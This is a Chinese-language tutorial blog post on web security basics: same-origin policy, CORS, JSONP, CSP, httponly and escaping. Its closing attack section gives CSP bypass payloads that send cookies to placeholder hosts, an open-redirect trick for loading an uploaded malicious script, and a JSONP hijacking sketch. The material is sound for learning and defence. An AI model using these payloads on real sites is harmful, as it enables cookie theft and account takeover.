前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >XSS的一些基本概念

XSS的一些基本概念

作者头像
ConsT27
发布2022-02-11 15:26:47
1.1K0
发布2022-02-11 15:26:47
举报
文章被收录于专栏:ConsT27的笔记

同源策略与跨域

同源策略

同源的定义

若两个URL 协议,端口,host都相同,则这两个URL同源。 这个方案叫做“协议/主机/端口元组”,或者直接是 “元组”

同源策略又分为DOM同源策略(禁止对不同源的页面的DOM进行操作)和XMLHttpRequest(禁止XHR对象项不同源的服务器地址发起HTTP请求)同源策略

同源策略的作用

限制一个JS脚本对不同源的URL进行操作。

这么说可能会有点抽象,那不如看看下面的例子:

1.如果没有DOM同源策略,就意味着一个页面可以对任意页面的DOM进行操作。那么就会导致以下安全问题: 做一个假网站,并插入一个占满全页面的iframe指向一个登陆界面如银行登录界面。用户进来后会发现除了域名不同,其他都和正常的银行登陆界面一致。若用户输入了账号密码,那么我们就可以跨域读取到银行登陆界面的dom树,从而读取用户输入的账号密码。

2.如果没有XMLHttpRequest,就意味着可以一个页面可以向任意页面发起HTTP请求。那么就会导致以下安全问题: 当一个用户登陆了某个系统,如银行个人系统,此时银行网站会给用户返回cookie。如果用户此时访问了我们的恶意网站,就会执行我们恶意网站中的恶意AJAX代码,此AJAX代码会向银行网站发起HTTP请求,比如发起查询账户余额的请求(此时会默认附带用户的cookie)。银行页面发现cookie无误,就会返回请求的数据:账户余额,造成数据泄露。

跨域

上面我们说了同源策略中,一个页面不能对不同源的页面进行操作。但是在实际情况中,还是有一些js标签能摆脱这种束缚,如script标签就能通过src属性获取不同源页面上的js代码,iframe能嵌入不同源站点的资源等等。 这样的标签有如下

代码语言:javascript
复制
<script src="..."></script>
<link rel="stylesheet" href="...">
<img> / <video> / <audio>
<object> <embed> 和 <applet> 的插件
@font-face
<frame> 和 <iframe>

但仅仅是这样,有些时候还是无法达到业务的需求,我们有时需要突破这种限制来达到业务需求,也就是避开同源策略,以下是几种解决方案。

CORS

CORS,即跨域资源共享,它是一个W3C标准,定义了必须访问跨域资源时,浏览器和服务器该如何协商。 其实质就是以AJAX为载体,使用自定义HTTP头让浏览器与服务器进行协商,从而决定跨域请求是否应该成功。 所以实现CORS通信的关键是服务器是否实现了CORS接口。

另外,并不是所有浏览器都支持CORS,比如IE6,IE7,Opera min 不支持CORS。

实现原理

浏览器把CORS的请求分成两类:简单请求与非简单请求

简单请求: 满足以下条件,即为简单请求

代码语言:javascript
复制
请求方法是以下三种方法之一:
HEAD
GET
POST

且HTTP的头信息不超出以下几种字段:
Accept
Accept-Language
Content-Language
Last-Event-ID
Content-Type:只限于三个值 application/x-www-form-urlencoded、multipart/form-data、text/plain

只要不满足以上条件,都为非简单请求。

对于简单请求,其实现原理如下:

1.在请求头中加一个额外头:Origin, 其包含发出请求的页面的协议,域名,端口,服务器以此来判断是否给予响应。 2.服务器收到请求后,判别该Origin指向的站点能否跨域。若能跨域,就在 Access-Control-Allow-Origin 头部中回发相同的源信息(如果是公共资源,可以回发 * );若不能跨域,则没有这个头部或者源信息不匹配(即Access-Control-Allow-Origin内容非*且与Origin不符) 3.同时如果服务器返回的头中有 Access-Control-Allow-Credentials: true ,则说明可以跨域向服务器发送带有cookie的HTTP请求。

对于非简单请求,它会实现进行预检,其原理如下: 1.进行预检,以OPTIONS方法向服务器发送Origin头部,Access-Control-Request-Method头部(接下来的请求方法,如POST),Access-Control-Request-Headers(自定义头部信息,可选) 2.服务器响应,有如下头:Access-Control-Allow-Origin,Access-Control-Allow-Methods(允许的请求方法),Access-Control-Allow-Headers(允许的自定义头部信息),Access-Control-Max-Age(应该将预检请求缓存多长时间,以秒为单位) 3.通过预检请求后,以后每次浏览器的CORS请求都会和简单请求一样。

JSONP

我们不妨通过一个例子来窥视JSONP的实现原理。

我们有如下文件test.html

代码语言:javascript
复制
<html>
    <head></head>
    <body>
        <h1>HI</h1>
        <script>
            var fun1=function(data){
                alert(data)
            }
        </script>
        <script type="text/javascript" src="http://192.168.111.1/a.js"></script>
    </body>
</html>

其包含的a.js如下

代码语言:javascript
复制
fun1("remote data");

访问test.html,成功触发弹窗,我们将test.html中的fun1函数称为回调函数

image-20210322211050387
image-20210322211050387

于是就出现了利用这种原理来实现跨域传输数据的方法:JSONP

下面说说JSONP的具体实现流程:

客户端: 1.定义获取数据后的回调函数 2.动态生成服务端JS进行引用的代码

代码语言:javascript
复制
关于此处第2点,我们可以说道说道。
我们再用这个方法实现跨域时,怎么让远程JS知道我们本地的回调函数叫什么名字?
这就需要通过一些手段动态生成服务端的JS代码了。
比如我们可以通过get参数来控制其返回的本地回调函数名,如: http://a.com?callback=fun1

服务端: 返回由回调函数名包裹的JSON数据,如

代码语言:javascript
复制
fun1({
	"key1":"value1"
});

这里为什么要特别强调是JSON呢?因为JSON不仅可以简洁的表述复杂的数据,而且JS原生支持JSON,可以在客户端自由处理JSON数据,所以服务端多传回JSON数据,JSONP这个名字也是这么来的。

CSP

CSP,即内容安全策略。它通过白名单策略,告诉客户端哪些外部资源可以加载和执行。 同时需要注意的是,CSP目前有1.0 2.0 3.0 版本,每个版本的规则都有不同

CSP规则

CSP通过定义一系列规则来实现安全管理。

首先我们来看看一条CSP规则的范例

代码语言:javascript
复制
Content-Security-Policy: default-src https://host1.com https://host2.com; frame-src 'none'; object-src 'none'
多个CSP指令间用分号隔开,多个指令值之间用空格隔开

下面是各个指令及其指令值的效果

摘自https://blog.csdn.net/qq_37943295/article/details/79978761

image-20210322214229302
image-20210322214229302
image-20210322214238476
image-20210322214238476

启用CSP

那么如何启用CSP呢?有两种方式

1.在HTTP头添加 在HTTP头响应添加content-security-policy头并写入CSP规则以后,就能启用CSP了

图引用于http://www.ruanyifeng.com/blog/2016/09/csp.html

image-20210322214736472
image-20210322214736472

2.在meta标签里添加 向内添加如下内容

代码语言:javascript
复制
<meta http-equiv="Content-Security-Policy" content="script-src 'self'; object-src 'none'; style-src cdn.example.org third-party.org; child-src https:">
即可

一些其他XSS保护机制

X-Frame

X-Frame-Options 是一个响应头,指定此页面能否在<frame>或者<iframe>中插入. 他有三个可选值:

  • DENY 页面不能被嵌入到任何iframe或frame中
  • SAMEORIGIN 页面只能被本站页面嵌入到iframe或者frame中
  • ALLOW-FROM uri 表示该页面可以在指定来源的 frame 中展示。

XSS auditor

httponly

httponly 是一个针对cookie的保护机制。 其实现原理是在response中对某一项cookie设置为HTTPONLY=true,从而使该cookie不能被document.cookie 读取。

我们随便找个网站,发现其captch_session_v2开启了httponly

image-20210323115121425
image-20210323115121425

随后我们通过document.cookie尝试去读取aptch_session_v2的值,发现其值并没有出现在返回内容中

image-20210323115228944
image-20210323115228944

htmlspecialchars

htmlspecialchars是一个php函数,它可以将一些敏感字符转义

代码语言:javascript
复制
& (AND) => &
" (双引号) => " (当ENT_NOQUOTES没有设置的时候) 
' (单引号) => &#039; (当ENT_QUOTES设置) 
< (小于号) => < 
> (大于号) => > 

攻击手段

bypass csp

csp,是可以被bypass的。我们接下来就想办法bypass csp来回传cookie

1

代码语言:javascript
复制
default-src 'none';

可以通过meta标签实现重定向

代码语言:javascript
复制
<meta http-equiv="refresh" content="1;url=http://www.xxx.com/x.php?cookie=[cookie]">

即,1秒后跳转至指定url

2

代码语言:javascript
复制
script-src ‘self’ ‘unsafe-inline’

开放了内联脚本。我们可以通过window.location,windows.open或者meta标签实现页面跳转。也可以通过动态创建元素实现跳转

代码语言:javascript
复制
var a = document.createElement("a");
a.href='http://www.baidu.com'+document.cookie;
a.click();

3

代码语言:javascript
复制
default-src 'self'; script-src 'self'

限制了只能加载本域JS脚本,同时禁止了内联脚本执行。 不过问题不大,如果我们有一个上传点,我们可以上传一个恶意JS文件,上传后如果我们知道此JS文件上传位置与文件名且上传的位置是本域,然后通过XSS实现加载此恶意JS文件。

另外在CSP1.0版本中,还可以通过以下方式进行跳转(现在不咋好用了)

代码语言:javascript
复制
<link rel="prefetch" href="http://xxx.cn"> (H5预加载)
<link rel="dns-prefetch" href="http://xxx.cn"> (DNS预加载)

4

代码语言:javascript
复制
script-src http://www.a.com/b/ 

限制了只能从某特定路径去加载JS脚本 对此一般的解决方法是看看此目录下有没有可控重定向的文件,比如这种

代码语言:javascript
复制
b/302.php
<?php Header("location: ".$_GET['url'])?>

我们就可以插入

代码语言:javascript
复制
<script src="b/302.php?url=http://a.com/upload/a.js">  
    
</script>

去加载我们上传的JS脚本(上传点自己找)

JSONP 劫持

简单说一说

首先存在网站B,它包含登录用户的ID,passwd等敏感信息。且有页面http://B.com/user?callback= 用来进行JSONP跨域数据传输ID,PASSWD等信息,这是前提。 用户登录B后,打开了我们的恶意网站A.com,A.com的内容为:

代码语言:javascript
复制
<script type="text/javascript" src="http://B.com/user?jsonp=Callback"></script>
function Callback(result)
{
    将获取内容上传至恶意服务器的JS代码.....
}

那么A网站就会向网站B跨域请求到敏感信息,并上传到恶意服务器保存。 这就是JSONP劫持,此方法常用于水坑攻击

常用触发点与bypass

https://wooyun.js.org/drops/Bypass%20xss%E8%BF%87%E6%BB%A4%E7%9A%84%E6%B5%8B%E8%AF%95%E6%96%B9%E6%B3%95.html

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2021-06-28,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 同源策略与跨域
    • 同源策略
      • 同源的定义
      • 同源策略的作用
    • 跨域
      • CORS
      • JSONP
  • CSP
    • CSP规则
      • 启用CSP
      • 一些其他XSS保护机制
        • X-Frame
          • XSS auditor
            • httponly
              • htmlspecialchars
              • 攻击手段
                • bypass csp
                  • JSONP 劫持
                    • 常用触发点与bypass
                    领券
                    问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档